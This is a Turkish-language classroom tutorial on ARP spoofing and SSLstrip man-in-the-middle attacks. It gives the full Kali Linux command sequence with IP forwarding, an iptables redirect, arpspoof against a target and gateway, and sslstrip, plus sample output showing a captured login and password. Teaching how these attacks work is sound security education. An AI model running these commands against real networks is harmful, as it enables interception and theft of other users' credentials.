**🔎 ARP Spoofing Nedir?**

Yerel ağlarda cihazlar, veri gönderebilmek için birbirlerinin **MAC adresini** bilmek zorundadır.  
Bunu öğrenmek için **ARP protokolü** kullanılır.

**ARP Spoofing**, saldırganın kendisini ağdaki bir cihaz (genellikle modem/gateway) gibi göstererek, veri trafiğini üzerine çekmesidir.  
Bu sayede iki cihaz arasındaki iletişime gizlice dahil olabilir.

**🧠 MITM (Man-in-the-Middle) Nedir?**

Bu saldırı tipinde saldırgan, iki cihaz arasında iletilen verileri:

* **İzleyebilir** (şifreleri görebilir),
* **Yönlendirebilir** (kullanıcıyı sahte sitelere aktarabilir),
* **Değiştirebilir** (gönderilen/ alınan verileri manipüle edebilir).

**🔧 SSLstrip Nedir ve Neden Kullanılır?**

Artık çoğu site **HTTPS** kullanarak trafiği şifreler.  
Bu da saldırganın verileri görememesi anlamına gelir.

**SSLstrip**, bu şifrelemeyi atlatmak için kullanılır.  
Yani kullanıcı HTTPS siteye gitmek ister ama saldırgan onu **HTTP versiyonuna** yönlendirir. Böylece:

* Kullanıcının girdiği bilgiler **şifrelenmemiş** şekilde iletilir.
* Saldırgan bu bilgileri okuyabilir (kullanıcı adı, şifre gibi).

**4. Kurulum Adımları (Kali Linux)**

Aşağıdaki komutlarla gerekli araçlar kurulabilir:

***sudo apt-get update***

***sudo apt-get install dsniff***

***sudo apt-get install sslstrip***

**5. Adım Adım Uygulama Süreci**

1. IP yönlendirmeyi aktif et:

***echo 1 > /proc/sys/net/ipv4/ip\_forward***

2. IPTables ile HTTP trafiğini SSLstrip'e yönlendir:

***iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000***

3. ARP Spoofing işlemini başlat:

***arpspoof -i eth0 -t [hedef\_ip] [modem\_ip]***

4. SSLstrip’i çalıştır:

***sslstrip -l 10000***

**. Örnek Terminal Çıktısı**

***sslstrip 0.9 by Moxie Marlinspike running...  
[\*] Listening on 0.0.0.0:10000  
[+] Spoofed connection: 192.168.1.105 -> facebook.com  
[+] Username: ozankullanici  
[+] Password: 12345678***

metin, ekran görüntüsü, yazılım içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

**🧪 Uygulama Senaryosu (Basit Saldırı Akışı)**

1. **IP yönlendirme** aktif edilir (saldırgan cihazı veri geçişine açar).
2. **ARP spoofing** ile hedef ve modem kandırılır.
3. **IPTables** ile gelen HTTP trafiği SSLstrip’e yönlendirilir.
4. **SSLstrip** gelen bağlantıyı HTTP’ye çevirerek kullanıcıdan veri toplar.
5. Toplanan kullanıcı adı ve şifre gibi bilgiler terminalde gözükür.

**🛠 Kullanılan Araçlar**

* arpspoof → ARP zehirleme
* sslstrip → HTTPS bağlantıyı HTTP'ye çevirme
* iptables → Trafiği yönlendirme
* echo → IP yönlendirmeyi açma komutu

.

**🎯 Sonuç**

Bu senaryo sayesinde öğrenciler:

* Ağda veri trafiği nasıl çalışır,
* HTTPS neden önemlidir,
* Ortadaki adam saldırısının nasıl işlediği gibi temel güvenlik bilgilerini **uygulamalı** öğrenmiş olur.